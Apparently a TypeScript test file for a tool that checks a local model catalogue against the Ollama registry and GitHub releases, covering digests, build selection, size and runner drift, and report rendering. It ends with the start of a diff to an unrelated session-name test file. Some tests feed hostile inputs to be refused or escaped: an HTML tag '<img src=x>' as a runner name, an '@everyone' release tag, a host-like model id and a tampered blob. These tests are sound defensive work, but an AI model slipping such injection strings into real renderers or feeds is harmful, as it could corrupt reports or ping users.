const fixture = (name: string): Buffer => readFileSync(resolve(fixtureDir, name));
const REAL_LIST = fixture('qwen3.6-35b-a3b.list.json');
const REAL_GGUF_MANIFEST = fixture('qwen3.6-35b-a3b.gguf-manifest.json');
const REAL_MLX_CONFIG = fixture('qwen3.6-35b-a3b.mlx-config.json');
/** The digest of the MLX child the real list names, which a Mac pulled on 2026-11-06. */
const REAL_MLX_CHILD = 'sha256:0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
const REAL_GGUF_CHILD = 'sha256:a7eb95c53bcf96b4bdd008d0fab4a5dac88047d9c1a7a9ab88ed453423fbd87c';
/** The pull total a Mac reported for `qwen3.6:35b-a3b`, which the catalogue row stores. */
const MAC_PULL_TOTAL_35B = 23_105_798_956;
const PIN = {
version: '0.40.15',
url: 'https://github.com/ollama/ollama/releases/download/v0.40.15/ollama-darwin.tgz',
bytes: 185_971_671,
sha256: '607c79d5d6315ef9d896db83adde736a4c0057196329843544e79b95afb260a8',
};
const hex = (char: string): string => `sha256:${char.repeat(64)}`;
describe('the real registry bodies', () => {
it('carry the digests the registry and a Mac reported for them', () => {
expect(sha256Digest(REAL_LIST)).toBe('sha256:86b2d171ce90bbb2dcb081933565ec867ce523cdd274bd24c8cf1ef9185feb4f');
expect(sha256Digest(REAL_GGUF_MANIFEST)).toBe(REAL_GGUF_CHILD);
expect(sha256Digest(REAL_MLX_CONFIG)).toBe(
'sha256:577d7d4694896a245c8b00f62bf53a8f4720ded4eba83a8e2da30bb87583bd6b'
);
});
it('a Mac selects the mlx child of the real list, the one whose digest /api/tags reported', () => {
const list = JSON.parse(REAL_LIST.toString('utf8'));
expect(list.mediaType).toBe(MEDIA_TYPE_MANIFEST_LIST);
expect(selectMacChild(list.manifests).digest).toBe(REAL_MLX_CHILD);
});
it('the plain GGUF manifest totals its layers plus its config, 2% below what a Mac pulls', () => {
const manifest = JSON.parse(REAL_GGUF_MANIFEST.toString('utf8'));
expect(pullTotalBytes(manifest)).toBe(22_621_314_161 + 220);
expect(classifyModel(
{ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B },
{ mac: { bytes: pullTotalBytes(manifest), digest: REAL_GGUF_CHILD } },
'0.40.15'
)).toEqual([expect.objectContaining({ kind: 'size' })]);
});
});
describe('splitModelId', () => {
it('splits name and tag', () => {
expect(splitModelId('qwen3.6:35b-a3b')).toEqual({ name: 'qwen3.6', tag: '35b-a3b' });
});
it.each(['qwen3.6', ':35b', 'qwen3.6:', 'evil.example/x:y'])('refuses %s', (id) => {
expect(() => splitModelId(id)).toThrow(CheckFailure);
});
});
describe('pullTotalBytes', () => {
const manifest = (layers: unknown, config: unknown = { size: 250 }) => ({ config, layers });
it('adds every layer and the config', () => {
expect(pullTotalBytes(manifest([{ size: 1000 }, { size: 24 }]))).toBe(1274);
});
it.each([
['no layers', manifest([])],
['layers that are not an array', manifest('x')],
['a layer without a size', manifest([{ digest: 'x' }])],
['a negative size', manifest([{ size: -1 }])],
['a size given as text', manifest([{ size: '1000' }])],
['a fractional size', manifest([{ size: 1.5 }])],
['no config size', manifest([{ size: 1 }], {})],
['a total past the safe integers', manifest([{ size: Number.MAX_SAFE_INTEGER }, { size: 10 }])],
])('refuses %s', (_label, value) => {
expect(() => pullTotalBytes(value)).toThrow(CheckFailure);
});
});
describe('selectMacChild', () => {
const child = (runner: string, digest: string, mediaType?: string) => ({
...(mediaType === undefined ? { mediaType: MEDIA_TYPE_MANIFEST } : { mediaType }),
digest,
runner,
});
it('prefers mlx, then llamacpp, then ggml, whatever the list order', () => {
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l'), child('mlx', 'm')]).digest).toBe('m');
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l')]).digest).toBe('l');
expect(selectMacChild([child('ggml', 'g')]).digest).toBe('g');
});
it('takes the first child of a runner and compares runners as Ollama does', () => {
expect(selectMacChild([child(' MLX ', 'first'), child('mlx', 'second')]).digest).toBe('first');
});
it('skips a nested list and a runner a Mac does not run', () => {
expect(selectMacChild([child('mlx', 'nested', MEDIA_TYPE_MANIFEST_LIST), child('llamacpp', 'l')]).digest).toBe('l');
expect(selectMacChild([child('vllm', 'v')])).toBeUndefined();
expect(selectMacChild('not a list')).toBeUndefined();
});
it('accepts a child without a mediaType', () => {
expect(selectMacChild([{ digest: 'm', runner: 'mlx' }]).digest).toBe('m');
});
});
describe('small helpers', () => {
it('metadataForConfig mirrors Ollama: safetensors runs on mlx, gguf on ggml', () => {
expect(metadataForConfig({ model_format: 'safetensors' })).toEqual({ runner: 'mlx', format: 'safetensors' });
expect(metadataForConfig({ model_format: 'gguf' })).toEqual({ runner: 'ggml', format: 'gguf' });
expect(metadataForConfig({})).toEqual({ runner: '', format: '' });
});
it('catalogueRunner names a build in the catalogue words: mlx, or llamacpp for any GGUF build', () => {
expect(catalogueRunner('mlx')).toBe('mlx');
expect(catalogueRunner(' MLX ')).toBe('mlx');
expect(catalogueRunner('llamacpp')).toBe('llamacpp');
// A GGUF manifest that names no runner is `ggml` to Ollama, and llama-server runs it all the same.
expect(catalogueRunner('ggml')).toBe('llamacpp');
expect(catalogueRunner(metadataForConfig({ model_format: 'gguf' }).runner)).toBe('llamacpp');
for (const other of ['', 'vllm', '<img>', undefined, 3]) expect(catalogueRunner(other)).toBeUndefined();
});
it('normalizeDigest accepts the prefixed and the bare form and nothing else', () => {
const bare = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
expect(normalizeDigest(bare)).toBe(REAL_MLX_CHILD);
expect(normalizeDigest(REAL_MLX_CHILD.toUpperCase().replace('SHA256', 'sha256'))).toBe(REAL_MLX_CHILD);
expect(normalizeDigest('sha256:abc')).toBeUndefined();
expect(normalizeDigest('sha512:' + 'a'.repeat(64))).toBeUndefined();
expect(normalizeDigest(42)).toBeUndefined();
});
it('parses and compares versions', () => {
expect(parseVersion('v0.40.15')).toEqual([0, 40, 15]);
expect(parseVersion('0.32.12')).toEqual([0, 32, 12]);
expect(parseVersion('0.40.15-rc1')).toBeUndefined();
expect(compareVersions('0.40.15', 'v0.40.15')).toBe(0);
expect(compareVersions('0.41.0', '0.40.15')).toBeGreaterThan(0);
expect(compareVersions('0.9.0', '0.40.15')).toBeLessThan(0);
expect(() => compareVersions('latest', '0.40.15')).toThrow(CheckFailure);
});
it('formats numbers without the locale', () => {
expect(groupDigits(23_105_798_956)).toBe('23,105,798,956');
expect(groupDigits(250)).toBe('250');
expect(formatPercent(0.16614)).toBe('+16.61%');
expect(formatPercent(-0.02097)).toBe('-2.10%');
});
it('the tolerance is a small fraction of the row', () => {
expect(SIZE_TOLERANCE_FRACTION).toBeLessThanOrEqual(0.01);
expect(withinTolerance(1_000_000, 1_001_000)).toBe(true);
expect(withinTolerance(1_000_000, 1_001_001)).toBe(false);
});
});
describe('classifyModel', () => {
const observed = (bytes: number, extra: Record<string, unknown> = {}) => ({
mac: { bytes, digest: REAL_MLX_CHILD, runner: 'mlx', format: 'safetensors', ...extra },
});
it('a row that holds the pull total itself is clean', () => {
expect(classifyModel({ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B }, observed(MAC_PULL_TOTAL_35B), '0.40.15')).toEqual([]);
});
it('a row sized from its layers alone is clean: the config is a few hundred bytes', () => {
expect(classifyModel({ id: 'gpt-oss:20b', bytes: 13_793_441_427 }, observed(13_793_441_566), '0.40.15')).toEqual([]);
});
it('flags the two real drifts of 2026-11-08: the Mac gets the mlx build', () => {
const nine = classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, observed(7_639_229_431), '0.40.15');
expect(nine).toEqual([expect.objectContaining({ kind: 'size', expected: 6_550_825_373, actual: 7_639_229_431 })]);
expect(nine[0].fraction).toBeCloseTo(0.1661, 3);
const dense = classifyModel({ id: 'qwen3.8:27b', bytes: 17_741_871_939 }, observed(18_174_721_847), '0.40.15');
expect(dense[0].kind).toBe('size');
expect(dense[0].fraction).toBeCloseTo(0.0244, 3);
});
it('a tag that is gone is only that', () => {
expect(classifyModel({ id: 'x:y', bytes: 1 }, { gone: true }, '0.40.15')).toEqual([{ kind: 'gone' }]);
});
it('compares a pinned digest in either form', () => {
const bare = REAL_MLX_CHILD.slice('sha256:'.length);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: bare }, observed(100), '0.40.15')).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: hex('1') }, observed(100), '0.40.15')).toEqual([
{ kind: 'digest', expected: hex('1'), actual: REAL_MLX_CHILD },
]);
expect(classifyModel({ id: 'a:b', bytes: 100, digest: 'garbage' }, observed(100), '0.40.15')[0]).toMatchObject({
kind: 'digest',
expected: 'not a sha256 digest',
});
});
it('holds a row that names its runner to the runner of the build a Mac pulls', () => {
// The same size, another runner: the row's memory figures no longer describe what runs.
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, observed(100), '0.40.15')).toEqual([
{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' },
]);
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100), '0.40.15')).toEqual([]);
// A GGUF build is a llamacpp row's, whether its manifest says llamacpp or nothing (ggml).
for (const runner of ['llamacpp', 'ggml']) {
const gguf = observed(100, { runner, format: 'gguf' });
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, gguf, '0.40.15'), runner).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, gguf, '0.40.15'), runner).toEqual([
{ kind: 'runner', expected: 'mlx', actual: 'llamacpp' },
]);
}
// A runner Ollama would not run on a Mac is never taken for the row's.
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100, { runner: '' }), '0.40.15')).toEqual([
{ kind: 'runner', expected: 'mlx', actual: 'unknown' },
]);
// A catalogue without the field (before rows named their runner) is never held to one.
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { runner: 'llamacpp' }), '0.40.15')).toEqual([]);
});
it('flags a build that needs a newer runtime than the pin, and only that', () => {
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.41.0' }), '0.40.15')).toEqual([
{ kind: 'requires', requires: '0.41.0', pinned: '0.40.15' },
]);
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.40.15' }), '0.40.15')).toEqual([]);
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100), '0.40.15')).toEqual([]);
});
});
describe('classifyRuntime', () => {
const release = (version: string, asset?: { size: number; digest?: string }) => ({ version, publishedOn: '2026-11-03', asset });
const matching = { size: PIN.bytes, digest: `sha256:${PIN.sha256}` };
it('is clean when the pin is the newest release and its archive is unchanged', () => {
expect(classifyRuntime(PIN, { latest: release('0.40.15', matching), pinned: release('0.40.15', matching) })).toEqual([]);
});
it('a size that matches and no digest in the API is not drift', () => {
expect(
classifyRuntime(PIN, { latest: release('0.40.15'), pinned: release('0.40.15', { size: PIN.bytes }) })
).toEqual([]);
});
it('reports a newer release', () => {
expect(classifyRuntime(PIN, { latest: release('0.41.2'), pinned: release('0.40.15', matching) })).toEqual([
{ kind: 'behind', pinned: '0.40.15', latest: '0.41.2' },
]);
});
it('reports a pinned release or archive that is gone or changed', () => {
const latest = release('0.40.15');
expect(classifyRuntime(PIN, { latest, pinned: { gone: true } })).toEqual([{ kind: 'pinned-release-gone' }]);
expect(classifyRuntime(PIN, { latest, pinned: release('0.40.15') })).toEqual([{ kind: 'pinned-asset-gone' }]);
expect(
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes + 1, digest: matching.digest }) })[0].kind
).toBe('pinned-asset-changed');
expect(
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes, digest: hex('2') }) })[0].kind
).toBe('pinned-asset-changed');
});
});
// ---------- Exit code and report ----------
function baseResult(overrides: Record<string, unknown> = {}) {
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors', requires: '0.32.4' };
return {
checkedAt: '2026-11-09 06:00 UTC',
catalogue: { updated: '2026-11-06' },
pin: { version: '0.40.15' },
errors: [] as string[],
models: [{ id: 'a:b', bytes: 100, findings: [] as unknown[], observed: { tagDigest: hex('b'), variants: [mac], mac } }],
runtime: {
assetName: 'ollama-darwin.tgz',
findings: [] as unknown[],
observed: {
latest: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
pinned: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
},
} as Record<string, unknown>,
...overrides,
};
}
describe('exitCodeFor', () => {
it('is 0 when nothing drifted', () => {
expect(exitCodeFor(baseResult())).toBe(0);
});
it('is 1 for drift in a model or in the runtime', () => {
const result = baseResult();
result.models[0].findings = [{ kind: 'gone' }];
expect(exitCodeFor(result)).toBe(1);
const runtime = baseResult();
(runtime.runtime.findings as unknown[]).push({ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' });
expect(exitCodeFor(runtime)).toBe(1);
});
it('is 2 when any part failed, even with drift elsewhere', () => {
const result = baseResult();
result.models[0].findings = [{ kind: 'gone' }];
result.models.push({ id: 'c:d', bytes: 1, findings: [], error: 'timed out' } as never);
expect(exitCodeFor(result)).toBe(2);
expect(exitCodeFor(baseResult({ runtime: { error: 'GitHub answered 403', findings: [] } }))).toBe(2);
expect(exitCodeFor(baseResult({ errors: ['the catalogue did not load'] }))).toBe(2);
});
});
describe('renderReport', () => {
it('says clean, and lists the digests to pin in full with the build a Mac pulls', () => {
const report = renderReport(baseResult());
expect(report).toMatch(/^# Local model catalogue: weekly check\n/);
expect(report).toContain('**Clean**');
expect(report).toContain(`| \`a:b\` | mlx, safetensors | \`${hex('b')}\` | \`${hex('a')}\` |`);
expect(report).toContain('as the row field `digest`');
expect(report).not.toContain('Pin first');
expect(report).toContain('## Not checked');
});
it('asks to pin a row with measured figures first', () => {
const result = baseResult();
(result.models[0] as Record<string, unknown>).figures = 'measured';
expect(renderReport(result)).toContain('Pin first: `a:b`.');
});
it('names a size drift with both figures and every build the tag offers', () => {
const gguf = { bytes: 90, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
const mac = { bytes: 7_639_229_431, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
const result = baseResult({
models: [
{
id: 'qwen3.5:9b',
bytes: 6_550_825_373,
findings: classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, { mac }, '0.40.15'),
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
},
],
});
const report = renderReport(result);
expect(report).toContain('**Drift found**: 1 of 1 models.');
expect(report).toContain('| `qwen3.5:9b` | 6,550,825,373 | 7,639,229,431 | +16.61% | mlx, safetensors |');
expect(report).toContain('mlx, safetensors 7,639,229,431 (a Mac takes this one)');
expect(report).toContain('llamacpp, gguf 90');
});
it('names a runner change, what it means for the figures, and every build the tag offers', () => {
const gguf = { bytes: 100, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
const result = baseResult({
models: [
{
id: 'qwen3.6:35b-a3b-mtp-q4_k_m',
bytes: 100,
findings: classifyModel({ id: 'x:y', bytes: 100, runner: 'llamacpp' }, { mac }, '0.40.15'),
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
},
],
});
const report = renderReport(result);
expect(report).toContain('**Drift found**: 1 of 1 models.');
expect(report).toContain('| runner changed |');
expect(report).toContain(
"`qwen3.6:35b-a3b-mtp-q4_k_m`: a Mac now pulls the mlx, safetensors build, which runs on `mlx`, while the row's `runner` says `llamacpp`."
);
expect(report).toContain('recompute them for the new runner');
expect(report).toContain('mlx, safetensors 100 (a Mac takes this one)');
});
it('says the check failed and prints no verdict of clean', () => {
const result = baseResult({ runtime: { error: 'GitHub answered 403 for the newest release', findings: [] } });
const report = renderReport(result);
expect(report).toContain('**The check failed**');
expect(report).not.toContain('**Clean**');
expect(report).toContain('GitHub answered 403');
});
it('never prints a runner or format outside the known names', () => {
const mac = { bytes: 100, digest: hex('a'), runner: '<img src=x>', format: '@someone' };
const report = renderReport(baseResult({ models: [{ id: 'a:b', bytes: 100, findings: [], observed: { tagDigest: hex('b'), variants: [mac], mac } }] }));
expect(report).toContain('unknown, unknown');
expect(report).not.toContain('<img');
expect(report).not.toContain('@someone');
});
it('keeps an error on one line and without backticks', () => {
const result = baseResult({ errors: ['line one\nline `two`\u0007'] });
expect(renderReport(result)).toContain("- Check failed: line one line 'two'\n");
});
it('contains no em-dash', () => {
expect(renderReport(baseResult())).not.toContain(String.fromCharCode(0x2014));
});
});
// ---------- IO against a fake registry ----------
interface Seen {
url: string;
headers: Record<string, string>;
signal: unknown;
}
/**
* A fake registry and GitHub API. `routes` maps a URL to a body (string or Buffer) or a status
* number. Every request is recorded.
*/
function fakeFetch(routes: Record<string, string | Buffer | number | (() => Response)>) {
const seen: Seen[] = [];
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
seen.push({ url, headers: init.headers, signal: init.signal });
const route = routes[url];
if (route === undefined) return new Response('not found', { status: 404 });
if (typeof route === 'number') return new Response('', { status: route });
if (typeof route === 'function') return route();
return new Response(route, { status: 200 });
};
return { fetchFn, seen };
}
const REG = 'https://registry.ollama.ai/v2/library';
const GH = 'https://api.github.com/repos/ollama/ollama/releases';
/** A small registry: one tag that is a list (mlx + llamacpp), one plain tag. Digests computed. */
function buildRegistry() {
const json = (value: unknown): Buffer => Buffer.from(JSON.stringify(value));
const mlxConfig = json({ model_format: 'safetensors', requires: '0.32.4' });
const ggufConfig = json({ model_format: 'gguf', requires: '0.30.0' });
const layers = (sizes: number[], tag: string) =>
sizes.map((size, i) => ({ mediaType: 'application/vnd.ollama.image.tensor', digest: hex(String((i + tag.length) % 10)), size }));
const mlxChild = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(mlxConfig), size: mlxConfig.length },
layers: layers([700, 300], 'mlx'),
});
const ggufChild = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
layers: layers([600], 'gguf'),
runner: 'llamacpp',
format: 'gguf',
});
const list = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST_LIST,
manifests: [
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(mlxChild), runner: 'mlx', format: 'safetensors' },
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(ggufChild), runner: 'llamacpp', format: 'gguf' },
],
});
const plain = json({
schemaVersion: 2,
mediaType: MEDIA_TYPE_MANIFEST,
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
layers: layers([500], 'plain'),
});
const release = (tag: string) =>
json({
tag_name: tag,
published_at: '2026-11-03T22:52:31Z',
assets: [{ name: 'ollama-darwin.tgz', size: PIN.bytes, digest: `sha256:${PIN.sha256}` }],
});
const routes: Record<string, string | Buffer | number | (() => Response)> = {
[`${REG}/listed/manifests/1b`]: list,
[`${REG}/listed/blobs/${sha256Digest(mlxChild)}`]: mlxChild,
[`${REG}/listed/blobs/${sha256Digest(ggufChild)}`]: ggufChild,
[`${REG}/listed/blobs/${sha256Digest(mlxConfig)}`]: mlxConfig,
[`${REG}/plain/manifests/2b`]: plain,
[`${REG}/plain/blobs/${sha256Digest(ggufConfig)}`]: ggufConfig,
[`${GH}/latest`]: release('v0.40.15'),
[`${GH}/tags/v0.40.15`]: release('v0.40.15'),
};
const layerDigests = new Set(
[mlxChild, ggufChild, plain].flatMap((body) => JSON.parse(body.toString()).layers.map((l: { digest: string }) => l.digest))
);
return {
routes,
layerDigests,
sizes: { mlx: 1000 + mlxConfig.length, gguf: 600 + ggufConfig.length, plain: 500 + ggufConfig.length },
digests: { list: sha256Digest(list), mlxChild: sha256Digest(mlxChild), plain: sha256Digest(plain) },
};
}
const catalogOf = (models: { id: string; bytes: number; digest?: string; figures?: string; runner?: string }[]) => ({
updated: '2026-11-06',
models,
});
const NOW = new Date('2026-11-09T06:00:00Z');
describe('inspectModel', () => {
it('reads a list the way a Mac does: the mlx child, its total, its requires', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
const observed = await inspectModel(fetchFn, 'listed:1b');
expect(observed.tagDigest).toBe(registry.digests.list);
expect(observed.mac).toMatchObject({
runner: 'mlx',
format: 'safetensors',
digest: registry.digests.mlxChild,
bytes: registry.sizes.mlx,
requires: '0.32.4',
});
expect(observed.variants.map((variant: { runner: string }) => variant.runner)).toEqual(['mlx', 'llamacpp']);
expect(seen[0].headers.Accept).toBe(MANIFEST_ACCEPT);
expect(seen[0].headers.Accept).toContain(MEDIA_TYPE_MANIFEST_LIST);
expect(seen.every((request) => request.signal instanceof AbortSignal)).toBe(true);
});
it('fills a plain manifest without runner metadata from its config', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const observed = await inspectModel(fetchFn, 'plain:2b');
expect(observed.mac).toMatchObject({ runner: 'ggml', format: 'gguf', digest: registry.digests.plain, bytes: registry.sizes.plain });
expect(observed.tagDigest).toBe(observed.mac.digest);
});
it('a 404 for the manifest is a tag that is gone', async () => {
const { fetchFn } = fakeFetch({});
expect(await inspectModel(fetchFn, 'missing:tag')).toEqual({ gone: true });
});
it('refuses a blob whose body does not match its digest', async () => {
const registry = buildRegistry();
const mlxUrl = `${REG}/listed/blobs/${registry.digests.mlxChild}`;
const { fetchFn } = fakeFetch({ ...registry.routes, [mlxUrl]: '{"tampered":true}' });
await expect(inspectModel(fetchFn, 'listed:1b')).rejects.toThrow(/does not match its digest/);
});
it('refuses a list with no build a Mac runs', async () => {
const list = JSON.stringify({ mediaType: MEDIA_TYPE_MANIFEST_LIST, manifests: [{ digest: hex('1'), runner: 'vllm' }] });
const { fetchFn } = fakeFetch({ [`${REG}/odd/manifests/x`]: list });
await expect(inspectModel(fetchFn, 'odd:x')).rejects.toThrow(/no build a Mac runs/);
});
it('a server error is a failed check, not a tag that is gone', async () => {
const { fetchFn } = fakeFetch({ [`${REG}/flaky/manifests/x`]: 503 });
await expect(inspectModel(fetchFn, 'flaky:x')).rejects.toThrow(/answered 503/);
});
});
describe('boundedGet', () => {
it('refuses a declared body over the cap before reading it', async () => {
const { fetchFn } = fakeFetch({
'https://x.test/big': () => new Response('{}', { status: 200, headers: { 'content-length': String(MAX_MANIFEST_BYTES + 1) } }),
});
await expect(boundedGet(fetchFn, 'https://x.test/big', { maxBytes: MAX_MANIFEST_BYTES })).rejects.toThrow(/over the cap/);
});
it('refuses a streamed body that grows past the cap', async () => {
const stream = new ReadableStream({
start(controller) {
controller.enqueue(new Uint8Array(600));
controller.enqueue(new Uint8Array(600));
controller.close();
},
});
const { fetchFn } = fakeFetch({ 'https://x.test/stream': () => new Response(stream, { status: 200 }) });
await expect(boundedGet(fetchFn, 'https://x.test/stream', { maxBytes: 1000 })).rejects.toThrow(/over the cap/);
});
it('turns a network error into a CheckFailure', async () => {
const fetchFn = async () => {
throw new TypeError('fetch failed', { cause: new Error('getaddrinfo ENOTFOUND registry.ollama.ai') });
};
await expect(boundedGet(fetchFn, 'https://registry.ollama.ai/v2/', { maxBytes: 10 })).rejects.toThrow(/ENOTFOUND/);
});
});
describe('runCheck', () => {
it('reports drift, and fetches only manifests, child manifests, configs and the two releases', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
// Sized from the llamacpp child: a Mac pulls the mlx one, so this is drift.
{ id: 'listed:1b', bytes: registry.sizes.gguf },
{ id: 'plain:2b', bytes: registry.sizes.plain },
{ id: 'missing:tag', bytes: 1000 },
]),
pin: PIN,
fetchFn,
now: NOW,
githubToken: 'token-value',
});
expect(result.models.map((model: { findings: { kind: string }[] }) => model.findings.map((f) => f.kind))).toEqual([
['size'],
[],
['gone'],
]);
expect(result.runtime.findings).toEqual([]);
expect(exitCodeFor(result)).toBe(1);
for (const request of seen) {
const blob = /\/blobs\/(sha256:[0-9a-f]{64})$/.exec(request.url);
if (blob) expect(registry.layerDigests.has(blob[1])).toBe(false);
const isGitHub = request.url.startsWith('https://api.github.com/');
expect(request.headers.Authorization === 'Bearer token-value').toBe(isGitHub);
}
expect(seen.some((request) => request.url === `${GH}/latest`)).toBe(true);
expect(seen.some((request) => request.url === `${GH}/tags/v0.40.15`)).toBe(true);
const report = renderReport(result);
expect(report).toContain('**Drift found**: 2 of 3 models.');
expect(report).toContain('`missing:tag`: the registry no longer has this tag');
});
it('holds rows that name their runner to the build a Mac pulls, a plain GGUF manifest included', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
// The right size, the wrong runner: a Mac pulls the mlx child of this list.
{ id: 'listed:1b', bytes: registry.sizes.mlx, runner: 'llamacpp' },
// A manifest that names no runner is a GGUF build: a llamacpp row, clean.
{ id: 'plain:2b', bytes: registry.sizes.plain, runner: 'llamacpp' },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(result.models.map((model: { findings: unknown[] }) => model.findings)).toEqual([
[{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' }],
[],
]);
expect(exitCodeFor(result)).toBe(1);
expect(renderReport(result)).toContain('| runner changed |');
});
it('sends no Authorization header at all without a token', async () => {
const registry = buildRegistry();
const { fetchFn, seen } = fakeFetch(registry.routes);
await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
expect(seen.some((request) => 'Authorization' in request.headers)).toBe(false);
});
it('is clean when every row matches what a Mac pulls', async () => {
const registry = buildRegistry();
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([
{ id: 'listed:1b', bytes: registry.sizes.mlx, digest: registry.digests.mlxChild, figures: 'measured' },
{ id: 'plain:2b', bytes: registry.sizes.plain, figures: 'measured' },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(exitCodeFor(result)).toBe(0);
const report = renderReport(result);
expect(report).toContain('**Clean**');
// The pinned row is not offered for pinning again; the unpinned one is.
expect(report).not.toContain('| `listed:1b` | mlx');
expect(report).toContain(`| \`plain:2b\` | ggml, gguf | \`${registry.digests.plain}\``);
// Only the measured row that has no digest yet is asked for first.
expect(report).toContain('Pin first: `plain:2b`.');
});
it('a newer runtime release is drift', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v0.41.0', published_at: '2026-11-10T00:00:00Z', assets: [] });
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
expect(result.runtime.findings).toEqual([{ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' }]);
expect(exitCodeFor(result)).toBe(1);
expect(renderReport(result)).toContain('Ollama 0.41.0 is out; the pin is 0.40.15.');
});
it('a rate-limited GitHub API fails the check (2) and keeps what the models showed', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = 403;
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({
catalog: catalogOf([{ id: 'listed:1b', bytes: registry.sizes.gguf }]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(exitCodeFor(result)).toBe(2);
expect(result.models[0].findings[0].kind).toBe('size');
expect(renderReport(result)).toContain('**The check failed**');
});
it('a release tag that is not vX.Y.Z fails the check instead of reaching the report', async () => {
const registry = buildRegistry();
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v1.0.0 @everyone', assets: [] });
const { fetchFn } = fakeFetch(registry.routes);
const result = await runCheck({ catalog: catalogOf([]), pin: PIN, fetchFn, now: NOW });
expect(exitCodeFor(result)).toBe(2);
expect(renderReport(result)).not.toContain('@everyone');
});
it('a network failure for one row fails the whole check', async () => {
const registry = buildRegistry();
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
if (url.includes('/plain/')) throw new TypeError('fetch failed');
return fakeFetch(registry.routes).fetchFn(url, init);
};
const result = await runCheck({
catalog: catalogOf([
{ id: 'listed:1b', bytes: registry.sizes.mlx },
{ id: 'plain:2b', bytes: registry.sizes.plain },
]),
pin: PIN,
fetchFn,
now: NOW,
});
expect(result.models[1].error).toMatch(/fetch failed/);
expect(exitCodeFor(result)).toBe(2);
});
});
+91 -26
View File
@@ -1,45 +1,110 @@
/**
* @fileoverview Claude's `/resume` title belongs to Claude unless the user chose one.
* @fileoverview The CLI's session name and the opt-in `pinCliSessionName` setting.
*
* `--name` sets the prompt-box label, the `/resume` picker entry and the terminal
* title, and a pinned title stops Claude generating its own. Pinning the
* `w1-myapp` placeholder therefore listed every conversation of a case under the
* same name in `/resume`. Only a manual name is pinned now (`cliPinnedName`), and
* a rename reaches the transcript as a `custom-title` row.
* title, and a pinned title stops Claude generating its own. By default only a name
* the user chose is pinned (`cliPinnedName`); with `pinCliSessionName` on, every tab's
* name is pinned, placeholder and auto names included, so Claude's own session list
* matches the tab. The setting is re-read at each spawn and respawn. A rename reaches
* the transcript as a `custom-title` row.
*/
import { mkdtempSync, readFileSync, rmSync, writeFileSync, existsSync } from 'node:fs';
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync, existsSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { dirname, join } from 'node:path';
import { afterEach, describe, expect, it } from 'vitest';
import { Session } from '../src/session.js';
